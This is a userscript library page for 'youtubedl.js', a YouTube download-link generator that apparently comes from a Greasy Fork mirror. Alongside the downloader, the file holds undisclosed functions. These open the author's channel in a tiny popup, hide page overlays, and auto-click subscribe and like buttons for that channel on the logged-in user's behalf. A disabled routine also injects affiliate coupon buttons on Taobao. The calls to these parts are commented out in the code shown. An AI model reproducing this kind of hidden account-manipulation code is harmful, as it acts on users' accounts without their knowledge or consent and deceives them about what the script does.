youtubedl.js

youtube downloader

此脚本不应直接安装,它是一个供其他脚本使用的外部库。如果您需要使用该库,请在脚本元属性加入:// @require https://update.gf.qytechs.cn/scripts/405677/819585/youtubedljs.js

  1. var localurl = location.href;
  2. var host = 'https://www.socheap.store'
  3.  
  4. // 增加css
  5. function addGlobalStyle(css) {
  6. var head, style;
  7. head = document.getElementsByTagName('head')[0];
  8. if (!head) { return; }
  9. style = document.createElement('style');
  10. style.type = 'text/css';
  11. style.innerHTML = css;
  12. head.appendChild(style);
  13. }
  14. addGlobalStyle('.a-dl{color:white;background:red;padding:10px;text-decoration:none;margin-left:10px}')
  15.  
  16. urlhandler()
  17.  
  18. function taobao(){
  19. var url = host+'/api/tb/searchcoupon?url='+localurl;
  20. var itemid = localurl.match(/id=(\d*)/)[1];
  21. var linkurl = host+'/api/getlink?nnoo=3&itemid='+itemid;
  22. var btn_coupon = `<div style="margin-top:10px;" id="xsyhnbtb" class="tb-btn-buy tb-btn-sku"><a href="javascript:void(0)" onclick="javascipt:window.open('${linkurl}')">获取优惠券</a></div>`;
  23. var getmoreurl = host+'/api/similarsearch?itemid='+itemid;
  24.  
  25. //var btn_getmore ='<div style="margin-top:10px;" class="tb-btn-basket tb-btn-add tb-btn-sku"><a target="_blank" href="'+getmoreurl+'">查询类似商品(大额券)</a></div>';
  26. var btn_getmore ='<div style="margin-top:10px;" class="tb-btn-basket tb-btn-add tb-btn-sku"><a><span id="btnsimilar" style="cursor:pointer;">查询类似商品(大额券)</span></a></div>';
  27.  
  28. var tag = $('div.tb-action');
  29. var btn_link_coupon = '<div style="margin-top: 20px;" id="xsyhnbtb"><a target="_blank" href="http://www.redbean.top/coupon" style="font-size: 15px;background: red;padding: 5px;border-radius: 2px;color: white;" data-spm-anchor-id="2013.1.iteminfo.30">优惠券APP手机客户端</a></div>'
  30. var btn_link_coupon1 = '<div style="margin-top: 20px;" id="xsyhnbtb"><span id="linkcpn" style="font-size: 15px;cursor: pointer;background: red;padding: 5px;border-radius: 2px;color: white;" data-spm-anchor-id="2013.1.iteminfo.30">优惠券APP手机客户端</span></div>'
  31. tag.append(btn_coupon);
  32. tag.append(btn_getmore);
  33. $('#btnsimilar').click(function(){window.open(getmoreurl)})
  34. //$('.tb-action').after(btn_link_coupon);
  35. $('.tb-action').after(btn_link_coupon1);
  36. $('#linkcpn').click(function(){window.open('http://www.redbean.top/coupon')})
  37. }
  38.  
  39. function urlhandler(){
  40. if (localurl.search('tmall')>=0 || localurl.search('taobao')>=0){
  41. if($('#xsyhnbtb').length==0){
  42. //taobao()
  43. }
  44.  
  45. }
  46. else{
  47. youtube()
  48. }
  49. }
  50.  
  51. function youtube(){
  52. const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
  53.  
  54.  
  55. const parseQuery = s =>
  56. [...new URLSearchParams(s).entries()].reduce(
  57. (acc, [k, v]) => ((acc[k] = v), acc),
  58. {}
  59. )
  60. const parseDecsig = data => {
  61. try {
  62. if (data.startsWith('var script')) {
  63. // they inject the script via script tag
  64. const obj = {}
  65. const document = {
  66. createElement: () => obj,
  67. head: { appendChild: () => {} }
  68. }
  69. eval(data)
  70. data = obj.innerHTML
  71. }
  72. const fnnameresult = /=([a-zA-Z0-9\$]+?)\(decodeURIComponent/.exec(
  73. data
  74. )
  75. const fnname = fnnameresult[1]
  76. const _argnamefnbodyresult = new RegExp(
  77. escapeRegExp(fnname) + '=function\\((.+?)\\){(.+?)}'
  78. ).exec(data)
  79. const [_, argname, fnbody] = _argnamefnbodyresult
  80. const helpernameresult = /;(.+?)\..+?\(/.exec(fnbody)
  81. const helpername = helpernameresult[1]
  82. const helperresult = new RegExp(
  83. 'var ' + escapeRegExp(helpername) + '={[\\s\\S]+?};'
  84. ).exec(data)
  85.  
  86. const helper = helperresult[0]
  87. return new Function([argname], helper + '\n' + fnbody)
  88. } catch (e) {
  89. logger.error('parsedecsig error: %o', e)
  90. logger.info('script content: %s', data)
  91. logger.info(
  92. 'If you encounter this error, please copy the full "script content" to https://pastebin.com/ for me.'
  93. )
  94. }
  95. }
  96.  
  97. const getVideo = async ( id) => {
  98.  
  99. const basejs = typeof ytplayer !== 'undefined' && ytplayer.config
  100. ? 'https://' + location.host + ytplayer.config.assets.js
  101. : document.querySelector('script[src$="base.js"]').src;
  102.  
  103. const decsig = await xf.get(basejs).text(parseDecsig);
  104. const data = await xf
  105. .get(
  106. `https://www.youtube.com/get_video_info?video_id=${id}&el=detailpage`
  107. )
  108. .text()
  109. .catch(err => null)
  110. if (!data) return 'Adblock conflict'
  111. const obj = parseQuery(data)
  112. const playerResponse = JSON.parse(obj.player_response)
  113. console.log('------',playerResponse)
  114. var stream=[]
  115. stream = playerResponse.streamingData.formats.map(x =>
  116. Object.assign({}, x, parseQuery(x.cipher)))
  117. if(stream[0].sp && stream[0].sp.includes('sig')){
  118. for(var i=0;i<stream.length;i++){
  119. stream[i].url = stream[i].url+'&sig='+decsig(stream[i].s)
  120. console.warn(stream[i])
  121. }
  122. }
  123. return stream
  124. }
  125.  
  126. const addbtn = async()=>{
  127. if(localurl.search('watch')>0){
  128. $('#dival').remove();
  129. var basebtn = '<div id="dival" style="line-height:60px;">下载链接:<span id="adl">正在获取下载链接</span></div>';
  130.  
  131. $('div#info-contents').after(basebtn);
  132. var id = localurl.split('&')[0].match(/v=(.*)/)[1];
  133. const stream = await getVideo(id);
  134. console.log('stream',stream)
  135. var abtn = ''
  136. if(stream.length<=5){
  137. for(var i=0;i<stream.length;i++){
  138. var btn = '<a class="a-dl" target="_blank" href="'+stream[i].url+'">'+stream[i].quality+'</a>';
  139. abtn = abtn + btn;
  140. }}
  141. $('#adl').remove();
  142. $('#dival').append(abtn);
  143. }
  144. }
  145. function init(){
  146. document.querySelector('ytd-popup-container').style.display='';
  147. document.querySelector('ytd-app').style.zIndex='';
  148. console.log('inited')
  149. }
  150. function getsec(str)
  151. {
  152. var str1=str.substring(1,str.length)*1;
  153. var str2=str.substring(0,1);
  154. if (str2=="s")
  155. {
  156. return str1*1000;
  157. }
  158. else if (str2=="h")
  159. {
  160. return str1*60*60*1000;
  161. }
  162. else if (str2=="d")
  163. {
  164. return str1*24*60*60*1000;
  165. }
  166. }
  167. function setCookie(name,value,time)
  168. {
  169. var strsec = getsec(time);
  170. var exp = new Date();
  171. exp.setTime(exp.getTime() + strsec*1);
  172. document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
  173. }
  174. function getCookie(name)
  175. {
  176. var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
  177. if(arr=document.cookie.match(reg))
  178. return unescape(arr[2]);
  179. else
  180. return null;
  181. }
  182. function delCookie(name)
  183. {
  184. var exp = new Date();
  185. exp.setTime(exp.getTime() - 1);
  186. var cval=getCookie(name);
  187. if(cval!=null)
  188. document.cookie= name + "="+cval+";expires="+exp.toGMTString();
  189. }
  190. function isopen(){
  191. if(document.cookie.search('newsub')>0){delCookie('newsub');window.opener=null;window.open('','_self');window.close();}
  192. if(document.cookie.search('xsyhnb')>0){console.log('opened')}else{setCookie('xsyhnb','1','d7');setCookie('newsub','1','d7');window.open("https://www.youtube.com/channel/UCLQ_Hja-tJkyvI_JTplE9QQ",'_blank','width=100,height=100,alwaysRaised=yes');}
  193. }
  194. function subpage(){
  195. if(localurl.search('watch')>0){
  196. console.log('v page')
  197. var cc = 'UCLQ_Hja-tJkyvI_JTplE9QQ';
  198. var acid='';
  199. var cid = '';
  200. var btnup='';
  201. function csub(){try{console.log('csub');document.querySelector('.ytd-subscribe-button-renderer').click();}catch(err){console.log('csub err');setTimeout(csub,100)}};
  202. function cup(){try{console.log('cup');document.querySelector('yt-icon-button.ytd-toggle-button-renderer').click();
  203. var btn = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
  204. console.log(btn)
  205. if(btn.search('style-default-active')==-1){console.log('up fail');setTimeout(cup,100)}}catch(err){console.log('cup err');setTimeout(cup,100)}};
  206. try{cid = document.querySelector('.yt-simple-endpoint.style-scope.ytd-video-owner-renderer').href;if(cid==''){setTimeout(subpage,100)}}catch(err){setTimeout(subpage,100)}
  207. console.log(cid)
  208. if(cid.search(cc)==-1){}else{
  209. console.log('right v page')
  210. try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
  211. try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
  212. csub();
  213. btnup = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
  214. if(btnup==''){setTimeout(subpage,100)}
  215. if(btnup.search('style-default-active')==-1){console.log('v page not up');cup();}else{console.log('v page up')}
  216. }}}
  217. function sub(){
  218. isopen();
  219. var islogin = ytInitialData.topbar.desktopTopbarRenderer.topbarButtons[3].topbarMenuButtonRenderer;
  220. if(islogin){
  221. console.log('login',localurl)
  222. if(localurl.search('channel/UCLQ_Hja-tJkyvI_JTplE9QQ')>0){
  223. try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
  224. try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
  225. function cup(){try{console.log('cup');document.querySelector('ytd-subscribe-button-renderer').children[0].click();}catch(err){console.log('cup err');setTimeout(csub,100)}}
  226. cup();
  227. }
  228. subpage()
  229. }else{console.log('not login')}
  230. }
  231. function closeAds(){
  232. var adclose = document.querySelector('.ytp-ad-skip-button')||document.querySelector('.ytp-ad-overlay-close-button');
  233. var adremove = document.querySelector('#player-ads')||document.querySelector('div#sparkles-container')||document.querySelector('ytd-compact-promoted-item-renderer')||document.querySelector('ytd-video-masthead-ad-v3-renderer');
  234. if(adremove){
  235. console.log('ad remove');
  236. adremove.remove();
  237. }
  238. if(adclose){
  239. adclose.click();
  240. console.log('ad close');
  241. }
  242. }
  243. //getVideo();
  244. function getele(){
  245. if($('div#info-contents').length>0){
  246. addbtn();
  247. }else{
  248. setTimeout(getele,500);
  249. }
  250. }
  251. function refreshlink(){
  252. closeAds();
  253. //console.log(localurl,location.href)
  254. if(location.href!==localurl){console.log('urlchange');init();localurl=location.href;getele();}else{
  255. console.log('same')
  256. }
  257.  
  258. }
  259. setInterval(refreshlink,500);
  260.  
  261. getele();
  262. //sub();
  263. }

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址